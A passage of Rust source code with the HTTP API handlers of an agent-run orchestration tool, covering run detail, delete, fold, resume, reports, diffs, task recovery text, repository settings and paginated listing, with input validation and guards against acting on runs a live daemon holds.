4496        let live = state.liveness(crate::daemon::is_working_on(
4497            &ui.home,
4498            &id,
4499            Timestamp::now(),
4500        ));
4501        let waiting = !ui.questions.open_for(&id).is_empty();
4502        Ok(Json(serde_json::json!({
4503            "id": id, "updated_at": state.updated_at, "live": live,
4504            "observed_at": Timestamp::now(),
4505            "progress": crate::run_progress::build(&state, live, waiting),
4506        })))
4507    })
4508    .await
4509}
4510
4511async fn run_detail(
4512    State(ui): State<Arc<Ui>>,
4513    Path(id): Path<String>,
4514) -> ApiResult<Json<RunDetailView>> {
4515    blocking(move || {
4516        let id = resolve_run(&ui.runs, &id)?;
4517        let state = read_run(&ui.runs, &id)?;
4518        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4519        let live = state.liveness(daemon_claims);
4520        crate::queue::record_ids(ui.questions.root(), "json")?;
4521        let waiting = ui
4522            .questions
4523            .list()
4524            .iter()
4525            .any(|q| q.run == id && q.status.open());
4526        let max_attempts = daemon::Opts::default().max_attempts;
4527
4528        let matching_task = ui.find_task_for_run(&id)?;
4529
4530        let superseded_by = state
4531            .pr_taken_over_by
4532            .clone()
4533            .or_else(|| {
4534                matching_task
4535                    .as_ref()
4536                    .and_then(|t| t.successor_of(&id).cloned())
4537            })
4538            .as_deref()
4539            .map(crate::run::short_of)
4540            .map(str::to_owned);
4541
4542        // Best-effort: an unreadable head (mid-write, or deleted) just means
4543        // this run's own status stands on its own, same as no later attempt
4544        // existing at all.
4545        let latest_attempt = matching_task
4546            .as_ref()
4547            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4548            .and_then(|head_id| {
4549                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4550                    short: head.short().to_owned(),
4551                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4552                    status: head.status,
4553                    done: head.status.done(),
4554                    id: head.id,
4555                })
4556            });
4557
4558        let task = matching_task
4559            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4560
4561        Ok(Json(RunDetailView::of(
4562            state,
4563            waiting,
4564            live,
4565            superseded_by,
4566            latest_attempt,
4567            task,
4568        )))
4569    })
4570    .await
4571}
4572
4573/// `DELETE /api/runs/{id}`.
4574///
4575/// Remove a finished, folded run directory along with its artifacts.
4576/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4577/// deleted. This never touches git worktrees or branches - except for a run
4578/// whose state this build cannot read at all, where there is no candidate
4579/// list to check and the wholesale removal `magi fold` already uses for that
4580/// case is the only meaningful "delete".
4581async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4582    let (id, unreadable) = {
4583        let ui = Arc::clone(&ui);
4584        blocking(move || {
4585            let id = resolve_run(&ui.runs, &id)?;
4586            match read_run(&ui.runs, &id) {
4587                Ok(state) => {
4588                    let in_flight =
4589                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4590                    state
4591                        .ensure_can_delete(in_flight)
4592                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4593                    let dir = ui.runs.join(&id);
4594                    std::fs::remove_dir_all(&dir)
4595                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4596                    Ok((id, false))
4597                }
4598                Err(_) => {
4599                    // Unreadable: there is no candidate list to guard on, so
4600                    // a live daemon's claim is the only thing left to check -
4601                    // the same rule `run_fold` applies for the same reason.
4602                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4603                        return Err(ApiError::conflict(format!(
4604                            "run {id} is being worked on by a live daemon right now"
4605                        )));
4606                    }
4607                    Ok((id, true))
4608                }
4609            }
4610        })
4611        .await?
4612    };
4613    if unreadable {
4614        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4615            .await
4616            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4617    }
4618    let ui = Arc::clone(&ui);
4619    let done = id.clone();
4620    blocking(move || {
4621        // The agent that asked died with the run, so an open question would
4622        // keep asking the operator for a decision nobody can deliver.
4623        ui.questions.abandon_for_run(
4624            &done,
4625            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4626        )?;
4627        Ok(())
4628    })
4629    .await?;
4630    Ok(StatusCode::NO_CONTENT)
4631}
4632
4633/// `POST /api/runs/{id}/fold`.
4634///
4635/// Remove a run's candidate worktrees and branches, keeping its record.
4636///
4637/// This exists because the deck answered "delete this run" with *"Candidates
4638/// must be folded before deleting. Run `magi fold` first."* — a phone being
4639/// told to open a terminal, in the one product whose point is that it does
4640/// not need one. The runs an operator most wants gone are the stalled and
4641/// blocked ones, and those are exactly the runs still holding worktrees:
4642/// three of them here held 53 GB.
4643///
4644/// The winner's tree goes too. A fold is what someone asks for when they are
4645/// finished with a run, and leaving one tree behind would leave the delete
4646/// button disabled for the same reason as before.
4647///
4648/// Refused while a live daemon is working on the run, on the rule that guards
4649/// deletion: folding underneath a running agent would pull the tree it is
4650/// editing out from under it.
4651///
4652/// A run whose state this build cannot read at all falls back to
4653/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4654/// selectively, so the whole record's worktree goes wholesale, exactly what
4655/// `magi fold` does on the command line for the same run.
4656async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4657    let (id, state) = {
4658        let ui = Arc::clone(&ui);
4659        blocking(move || {
4660            let id = resolve_run(&ui.runs, &id)?;
4661            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4662                return Err(ApiError::conflict(format!(
4663                    "run {id} is being worked on by a live daemon right now"
4664                )));
4665            }
4666            let state = read_run(&ui.runs, &id).ok();
4667            Ok((id, state))
4668        })
4669        .await?
4670    };
4671    let removed = match state {
4672        Some(mut state) => {
4673            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4674                .await
4675                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4676            // Nothing left to remove is not the same thing as nothing left to
4677            // do — see `clean::clear_abandoned_active`'s own doc for the run
4678            // this exists for: worktrees already gone, but a killed process
4679            // left active seats nobody will ever answer for.
4680            if removed.is_empty() {
4681                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4682                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4683            }
4684            removed
4685        }
4686        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4687            .await
4688            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4689    };
4690    Ok(Json(FoldView {
4691        run: id,
4692        removed_count: removed.len(),
4693        removed,
4694    }))
4695}
4696
4697/// What a fold took away, so the deck can say so rather than only re-render.
4698#[derive(Debug, Serialize)]
4699struct FoldView {
4700    run: String,
4701    /// Worktree paths and branch names removed, in the order they went.
4702    removed: Vec<String>,
4703    removed_count: usize,
4704}
4705
4706/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4707/// merged outside of `land::land`'s own loop.
4708#[derive(Debug, Deserialize)]
4709struct FoldMergedBody {
4710    #[serde(default)]
4711    pr_url: String,
4712}
4713
4714/// `POST /api/runs/{id}/fold-merged`.
4715///
4716/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4717/// `Blocked` with `merge: null` because magi never got as far as opening a
4718/// pull request of its own (a title over GitHub's length limit, `gh pr
4719/// create` unreachable, a stale token), which the operator then finished by
4720/// hand on a pull request magi never recorded. The "Run actions" sheet used
4721/// to have no way to tell it about that pull request short of a terminal and
4722/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4723/// this exists and what it deliberately does not do (`bump::after_merge`).
4724///
4725/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4726/// correction rewrites the same `status`/`merge` fields a running graph would
4727/// be writing to on its own.
4728///
4729/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4730/// calls plus a fold, seconds of work, and the phone should get its answer
4731/// (which pull request it recorded, and what changed) in the same round
4732/// trip rather than learning it from the change stream.
4733async fn run_fold_merged(
4734    State(ui): State<Arc<Ui>>,
4735    Path(id): Path<String>,
4736    Json(body): Json<FoldMergedBody>,
4737) -> ApiResult<Json<FoldMergedView>> {
4738    let pr_url = body.pr_url.trim().to_owned();
4739    if pr_url.is_empty() {
4740        return Err(ApiError::bad_request("pr_url is required"));
4741    }
4742    let (id, mut state) = {
4743        let ui = Arc::clone(&ui);
4744        blocking(move || {
4745            let id = resolve_run(&ui.runs, &id)?;
4746            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4747                return Err(ApiError::conflict(format!(
4748                    "run {id} is being worked on by a live daemon right now"
4749                )));
4750            }
4751            let state = read_run(&ui.runs, &id)?;
4752            Ok((id, state))
4753        })
4754        .await?
4755    };
4756    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4757        .await
4758        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4759    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4760        .await
4761        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4762    Ok(Json(FoldMergedView {
4763        run: id,
4764        before: before.as_str().to_owned(),
4765        after: after.as_str().to_owned(),
4766        removed,
4767    }))
4768}
4769
4770/// What [`run_fold_merged`] did, so the deck can say so.
4771#[derive(Debug, Serialize)]
4772struct FoldMergedView {
4773    run: String,
4774    /// `status` before the correction — normally `"blocked"`.
4775    before: String,
4776    /// `status` after — normally `"merged"`.
4777    after: String,
4778    /// Worktree paths and branch names the trailing fold removed.
4779    removed: Vec<String>,
4780}
4781
4782/// `POST /api/runs/{id}/resume`.
4783///
4784/// Carry a stalled run on from where it stopped, in the background.
4785///
4786/// A stalled card says "the work is kept" and used to offer no way to act on
4787/// that: the candidates are built and paid for, and continuing means re-asking
4788/// only the seats whose absence collapsed the panel. The alternative an
4789/// operator actually had was releasing the task, which competes three fresh
4790/// implementations against work that already exists.
4791///
4792/// **202, not 200.** A resume runs agents for minutes; holding the connection
4793/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4794/// phone learns the outcome from the change stream.
4795///
4796/// Refused when the loop is running at all, not merely when it is on this run.
4797/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4798/// started a second graph on top of whatever the loop is already driving —
4799/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4800/// allows — would spend that quota twice over for no extra throughput.
4801async fn run_resume(
4802    State(ui): State<Arc<Ui>>,
4803    Path(id): Path<String>,
4804) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4805    let admission = ui.begin_admission()?;
4806    admitted(admission, async move {
4807        let (id, state) = {
4808            let ui = Arc::clone(&ui);
4809            blocking(move || {
4810                let id = resolve_run(&ui.runs, &id)?;
4811                let state = read_run(&ui.runs, &id)?;
4812                Ok((id, state))
4813            })
4814            .await?
4815        };
4816        crate::resume::validate_unqueued(&ui.home, &id)
4817            .map_err(|e| ApiError::conflict(e.to_string()))?;
4818        let _resume = ui.begin_resume(&id)?;
4819
4820        crate::resume::start(&ui.home, id.clone())
4821            .await
4822            .map_err(ApiError::from)?;
4823        // The same shape the list route returns, so the phone updates the card it
4824        // already has rather than learning a second schema for one button.
4825        let queued = RunSummary::of(
4826            &state,
4827            !ui.questions.open_for(&id).is_empty(),
4828            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4829        );
4830        Ok((StatusCode::ACCEPTED, Json(queued)))
4831    })
4832    .await
4833}
4834
4835async fn run_report(
4836    State(ui): State<Arc<Ui>>,
4837    Path(id): Path<String>,
4838) -> ApiResult<impl IntoResponse> {
4839    let text = blocking(move || {
4840        let id = resolve_run(&ui.runs, &id)?;
4841        // Colour is off for the whole process, set once in `serve`. Rendering
4842        // is CPU work over the full state, which is the other reason this is
4843        // not on the executor.
4844        let state = read_run(&ui.runs, &id)?;
4845        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4846        let live = state.liveness(daemon_claims);
4847        Ok(format!(
4848            "{}{}",
4849            report::run(&state),
4850            report::active_seats(&state, live)
4851        ))
4852    })
4853    .await?;
4854    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4855}
4856
4857/// The structured twin of [`run_report`]: the same state, as sections the UI
4858/// draws as cards. An unreadable run answers with the same error the text
4859/// route does; it is never turned into an empty report.
4860async fn run_report_json(
4861    State(ui): State<Arc<Ui>>,
4862    Path(id): Path<String>,
4863) -> ApiResult<Json<crate::report_view::RunReportView>> {
4864    let view = blocking(move || {
4865        let id = resolve_run(&ui.runs, &id)?;
4866        let state = read_run(&ui.runs, &id)?;
4867        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4868        // Only a record that lacks the structured details reads `artifacts/`.
4869        let recovered = state.graft.as_ref().map(|_| {
4870            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4871        });
4872        Ok(crate::report_view::build_with(
4873            &state,
4874            state.liveness(daemon_claims),
4875            recovered.as_ref(),
4876        ))
4877    })
4878    .await?;
4879    Ok(Json(view))
4880}
4881
4882/// Archive access uses validated run-owned records, never a request-supplied path.
4883async fn run_seat_evidence(
4884    State(ui): State<Arc<Ui>>,
4885    Path(id): Path<String>,
4886) -> ApiResult<impl IntoResponse> {
4887    let id = resolve_run(&ui.runs, &id)?;
4888    let heads = crate::retention::seat_heads(&ui.home, &id)
4889        .await
4890        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4891    Ok(Json(heads))
4892}
4893
4894async fn run_seat_diff(
4895    State(ui): State<Arc<Ui>>,
4896    Path((id, head)): Path<(String, String)>,
4897) -> ApiResult<impl IntoResponse> {
4898    let id = resolve_run(&ui.runs, &id)?;
4899    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4900        .await
4901        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4902    Ok((
4903        [
4904            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4905            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4906        ],
4907        patch,
4908    ))
4909}
4910
4911/// Most of a graft diff the route returns.
4912const GRAFT_DIFF_MAX: usize = 400 * 1024;
4913/// How long `git diff` may run.
4914const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4915
4916/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4917/// come from the run record, never from the request.
4918async fn run_graft_diff(
4919    State(ui): State<Arc<Ui>>,
4920    Path(id): Path<String>,
4921) -> ApiResult<impl IntoResponse> {
4922    let (repo, pre, post) = blocking(move || {
4923        let id = resolve_run(&ui.runs, &id)?;
4924        let state = read_run(&ui.runs, &id)?;
4925        let g = state
4926            .graft
4927            .as_ref()
4928            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4929        let post = g
4930            .post
4931            .clone()
4932            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4933        Ok((state.repo.clone(), g.pre.clone(), post))
4934    })
4935    .await?;
4936    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4937    if !hex(&pre) || !hex(&post) {
4938        return Err(ApiError::not_found("the recorded commits are not valid"));
4939    }
4940    let out = tokio::time::timeout(
4941        GRAFT_DIFF_TIMEOUT,
4942        crate::git::git_raw(
4943            &repo,
4944            &[
4945                "diff",
4946                "--no-color",
4947                "--no-ext-diff",
4948                "-M",
4949                &pre,
4950                &post,
4951                "--",
4952            ],
4953        ),
4954    )
4955    .await
4956    .map_err(|_| ApiError::not_found("git diff timed out"))?
4957    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4958    if out.code != Some(0) {
4959        return Err(ApiError::not_found(
4960            "the recorded commits are no longer in the repository",
4961        ));
4962    }
4963    let mut body = out.stdout;
4964    if body.len() > GRAFT_DIFF_MAX {
4965        let mut cut = GRAFT_DIFF_MAX;
4966        while !body.is_char_boundary(cut) {
4967            cut -= 1;
4968        }
4969        body.truncate(cut);
4970        body.push_str("\n... diff truncated ...");
4971    }
4972    Ok((
4973        [
4974            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4975            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4976        ],
4977        body,
4978    ))
4979}
4980
4981/// A task as the UI sees it.
4982///
4983/// The whole task, plus the two things the client would otherwise have to
4984/// reimplement: the human-readable source and the status string. Nothing is
4985/// removed - the phone shows `last_error` and the run history verbatim.
4986#[derive(Debug, Serialize)]
4987struct TaskView {
4988    #[serde(flatten)]
4989    task: Task,
4990    source_label: String,
4991    reassignment_notes: Vec<String>,
4992    source_link: Option<SourceLink>,
4993    status_str: &'static str,
4994    /// Fixed scheduling lane, ahead of ordinary priority order.
4995    upgrade_resume_at: Option<Timestamp>,
4996    /// The instruction, parsed as markdown, for the Queue card's "Full
4997    /// instruction" panel. `task.instruction` is unchanged and still carries
4998    /// the raw text.
4999    instruction_md: Vec<md::Node>,
5000    /// For a blocked task, what it waits on with each dependency's state, e.g.
5001    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5002    /// recurses; empty for every other status.
5003    waits_on: Vec<String>,
5004    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5005    /// behind - non-empty means nothing in the loop will ever run it.
5006    stuck_roots: Vec<String>,
5007    blockers: Vec<crate::blockers::BlockerView>,
5008    recovery: Option<String>,
5009}
5010
5011impl From<Task> for TaskView {
5012    fn from(task: Task) -> Self {
5013        Self {
5014            source_label: task.source.label(),
5015            reassignment_notes: Vec::new(),
5016            source_link: source_link(&task.source),
5017            status_str: task.status.as_str(),
5018            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5019            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5020            waits_on: Vec::new(),
5021            stuck_roots: Vec::new(),
5022            blockers: Vec::new(),
5023            recovery: task_recovery(&task),
5024            task,
5025        }
5026    }
5027}
5028
5029impl TaskView {
5030    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5031        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5032            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5033            if !pending.is_empty() {
5034                self.recovery = Some(format!(
5035                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5036                    self.recovery.as_deref().unwrap_or_default()
5037                ));
5038            }
5039            for decision in pending {
5040                self.blockers.retain(|view| view.id != decision.id);
5041                self.blockers.push(decision);
5042            }
5043        }
5044        self
5045    }
5046
5047    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5048        let waits_on = inv.waits_on(&task);
5049        let stuck_roots = inv
5050            .stuck_roots(&task)
5051            .iter()
5052            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5053            .collect();
5054        Self {
5055            blockers: inv.blocker_views(&task),
5056            waits_on,
5057            stuck_roots,
5058            ..Self::from(task)
5059        }
5060    }
5061}
5062
5063fn task_recovery(task: &Task) -> Option<String> {
5064    use crate::queue::{HoldSource, TaskStatus};
5065    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5066        return None;
5067    }
5068    let mut text = String::new();
5069    if task.status == TaskStatus::Blocked {
5070        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5071        let restored = match task.blocked_from {
5072            Some(TaskStatus::Running) => TaskStatus::Queued,
5073            Some(status) => status,
5074            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5075            None => TaskStatus::Queued,
5076        };
5077        text.push_str(&format!(
5078            "After all dependencies resolve, the scheduler restores {}. ",
5079            restored.as_str()
5080        ));
5081        if restored != TaskStatus::Held {
5082            return Some(text);
5083        }
5084    }
5085    text.push_str(match task.hold_source {
5086        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5087        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5088            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5089        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5090        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5091    });
5092    Some(text)
5093}
5094
5095/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5096/// its absence, leaves the cache to decide.
5097#[derive(Debug, Default, Deserialize)]
5098#[serde(default)]
5099struct ReposQuery {
5100    refresh: u8,
5101}
5102
5103/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5104/// listing `magi repos` prints at a terminal.
5105///
5106/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5107/// so an edit to `magi.toml` takes effect without a restart, the same
5108/// reasoning [`config_for`] documents for the talk routes.
5109async fn repos_list(
5110    State(ui): State<Arc<Ui>>,
5111    Query(q): Query<ReposQuery>,
5112) -> ApiResult<Json<Vec<repos::Repo>>> {
5113    let refresh = q.refresh != 0;
5114    blocking(move || {
5115        let (cfg, _) = Config::discover(&ui.repo, None)?;
5116        Ok(Json(ui.repos_cache.list(
5117            &cfg.repos.roots,
5118            Duration::from_secs(cfg.repos.scan_ttl),
5119            refresh,
5120        )))
5121    })
5122    .await
5123}
5124
5125/// Optional context, restricted to the server's known checkouts.
5126#[derive(Debug, Default, Deserialize)]
5127struct SettingsQuery {
5128    repo: Option<PathBuf>,
5129}
5130
5131/// Always discover against the server's original context, never the selection.
5132/// If that config is broken, retain the default context and machine-only roots
5133/// so the settings error contract and recovery picker remain available.
5134fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5135    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5136        let paths: Vec<PathBuf> = ui
5137            .machine_config
5138            .iter()
5139            .filter(|p| p.is_file())
5140            .cloned()
5141            .collect();
5142        if paths.is_empty() {
5143            Ok(Config::autodetected())
5144        } else {
5145            Config::load_layers(&paths)
5146        }
5147    });
5148    let mut known = cfg
5149        .map(|cfg| {
5150            ui.repos_cache.list(
5151                &cfg.repos.roots,
5152                Duration::from_secs(cfg.repos.scan_ttl),
5153                refresh,
5154            )
5155        })
5156        .unwrap_or_default();
5157    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5158    if !known.iter().any(|r| r.path == path) {
5159        known.push(repos::Repo {
5160            name: path
5161                .file_name()
5162                .unwrap_or_default()
5163                .to_string_lossy()
5164                .into_owned(),
5165            path,
5166        });
5167    }
5168    known
5169}
5170
5171fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5172    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5173    let canonical = requested.canonicalize().ok();
5174    let mut known = settings_repositories(ui, false);
5175    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5176    if !known.iter().any(matches) {
5177        known = settings_repositories(ui, true);
5178    }
5179    let repo = known
5180        .iter()
5181        .find(|r| matches(r))
5182        .map(|r| r.path.clone())
5183        .ok_or_else(|| ApiError {
5184            text_reason: None,
5185            status: StatusCode::UNPROCESSABLE_ENTITY,
5186            message: "Choose a known repository from the Settings selector.".to_owned(),
5187        })?;
5188    Ok((repo, known))
5189}
5190
5191/// `GET /api/settings` - the effective role assignments and roster, with the
5192/// layer each came from. A config that fails to load answers 200 with an
5193/// `error`, so the screen can say so instead of drawing empty lists.
5194async fn settings_get(
5195    State(ui): State<Arc<Ui>>,
5196    Query(q): Query<SettingsQuery>,
5197) -> ApiResult<Json<settings::SettingsView>> {
5198    blocking(move || {
5199        let (repo, known) = settings_context(&ui, q)?;
5200        Ok(Json(settings::view_with_repos(
5201            &repo,
5202            ui.machine_config.as_deref(),
5203            &known,
5204        )))
5205    })
5206    .await
5207}
5208
5209/// The body of `PUT /api/settings/roles`.
5210#[derive(Debug, Deserialize)]
5211#[serde(deny_unknown_fields)]
5212struct RolesBody {
5213    /// The `revision` the client last read.
5214    revision: String,
5215    /// Role key to its new ids; an empty list resets the key to its default.
5216    #[serde(default)]
5217    roles: std::collections::BTreeMap<String, Vec<String>>,
5218    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5219    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5220    /// words (422) instead of as a deserialization error.
5221    #[serde(default)]
5222    counts: std::collections::BTreeMap<String, serde_json::Value>,
5223}
5224
5225/// `PUT /api/settings/roles` - save role assignments to the machine config.
5226///
5227/// The write target is `ui.machine_config` and nothing in the body can change
5228/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5229/// 422 with the reason in words.
5230async fn settings_put_roles(
5231    State(ui): State<Arc<Ui>>,
5232    Query(q): Query<SettingsQuery>,
5233    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5234) -> ApiResult<Json<settings::SettingsView>> {
5235    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5236    blocking(move || {
5237        let (repo, known) = settings_context(&ui, q)?;
5238        settings::save_with_repos(
5239            &repo,
5240            ui.machine_config.as_deref(),
5241            &body.revision,
5242            &body.roles,
5243            &body.counts,
5244            &known,
5245        )
5246        .map(Json)
5247        .map_err(|e| match e {
5248            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5249            settings::SaveError::Refused(m) => ApiError {
5250                text_reason: None,
5251                status: StatusCode::UNPROCESSABLE_ENTITY,
5252                message: m,
5253            },
5254            settings::SaveError::Internal(m) => ApiError::internal(m),
5255        })
5256    })
5257    .await
5258}
5259
5260async fn queue_list(
5261    State(ui): State<Arc<Ui>>,
5262    Query(q): Query<ListQuery>,
5263) -> ApiResult<Json<Vec<TaskView>>> {
5264    blocking(move || {
5265        let tasks = ui.queue.list();
5266        let inv =
5267            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5268        Ok(Json(
5269            tasks
5270                .into_iter()
5271                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5272                .map(|t| TaskView::with_inventory(t, &inv))
5273                .collect(),
5274        ))
5275    })
5276    .await
5277}
5278
5279/// History pages read a bounded number of records; the first conversation
5280/// page also includes every open talk. Cursors advance through a frozen snapshot,
5281/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5282/// Concurrent inserts are reconciled by a trailing store refresh.
5283#[derive(Debug, Default, Deserialize)]
5284struct PageQuery {
5285    before: Option<String>,
5286}
5287
5288#[derive(Serialize)]
5289struct StorePage<T> {
5290    rows: Vec<T>,
5291    next: Option<String>,
5292}
5293
5294const STORE_PAGE_SIZE: usize = 16;
5295
5296/// Freeze membership and the initial open/history boundary for a cursor walk.
5297/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5298/// the next store revision. Never rescan the entire directory for every page.
5299#[derive(Debug)]
5300struct ListWalk {
5301    token: u64,
5302    talks: bool,
5303    opened: std::time::Instant,
5304    ids: Arc<Vec<String>>,
5305    initial_end: usize,
5306}
5307
5308fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5309    page_ids_with(ui, talks, q, open_talk_ids)
5310}
5311
5312fn page_ids_with(
5313    ui: &Ui,
5314    talks: bool,
5315    q: PageQuery,
5316    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5317) -> ApiResult<(Vec<String>, Option<String>)> {
5318    let mut walks = ui
5319        .monitor
5320        .list_walks
5321        .lock()
5322        .unwrap_or_else(PoisonError::into_inner);
5323    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5324    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5325        let (token, offset) = cursor
5326            .split_once(':')
5327            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5328        let token = token
5329            .parse::<u64>()
5330            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5331        let offset = offset
5332            .parse::<usize>()
5333            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5334        let walk = walks
5335            .iter()
5336            .find(|walk| walk.token == token && walk.talks == talks)
5337            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5338        (token, walk.ids.clone(), offset, walk.initial_end)
5339    } else {
5340        // Header I/O must not hold the snapshot registry shared with queue
5341        // pagination or with clients continuing an existing history walk.
5342        drop(walks);
5343        let root = if talks {
5344            ui.talks.root()
5345        } else {
5346            ui.queue.root()
5347        };
5348        let mut ids = crate::queue::record_ids(root, "json")?;
5349        ids.sort_unstable_by(|a, b| b.cmp(a));
5350        let initial_end = if talks {
5351            let open = classify(ui, &ids);
5352            // Stable partition: ID order is only the existing membership order,
5353            // never a substitute for the UI's creation-time ordering.
5354            ids.sort_by_key(|id| !open.contains(id));
5355            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5356        } else {
5357            STORE_PAGE_SIZE.min(ids.len())
5358        };
5359        let ids = Arc::new(ids);
5360        walks = ui
5361            .monitor
5362            .list_walks
5363            .lock()
5364            .unwrap_or_else(PoisonError::into_inner);
5365        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5366        let mut token = crate::rng::entropy();
5367        while walks.iter().any(|walk| walk.token == token) {
5368            token = crate::rng::entropy();
5369        }
5370        // Four clients can enumerate both stores and overlap a refresh. Bound
5371        // retained membership snapshots; an evicted cursor explicitly retries.
5372        if walks.len() >= 16 {
5373            walks.remove(0);
5374        }
5375        walks.push(ListWalk {
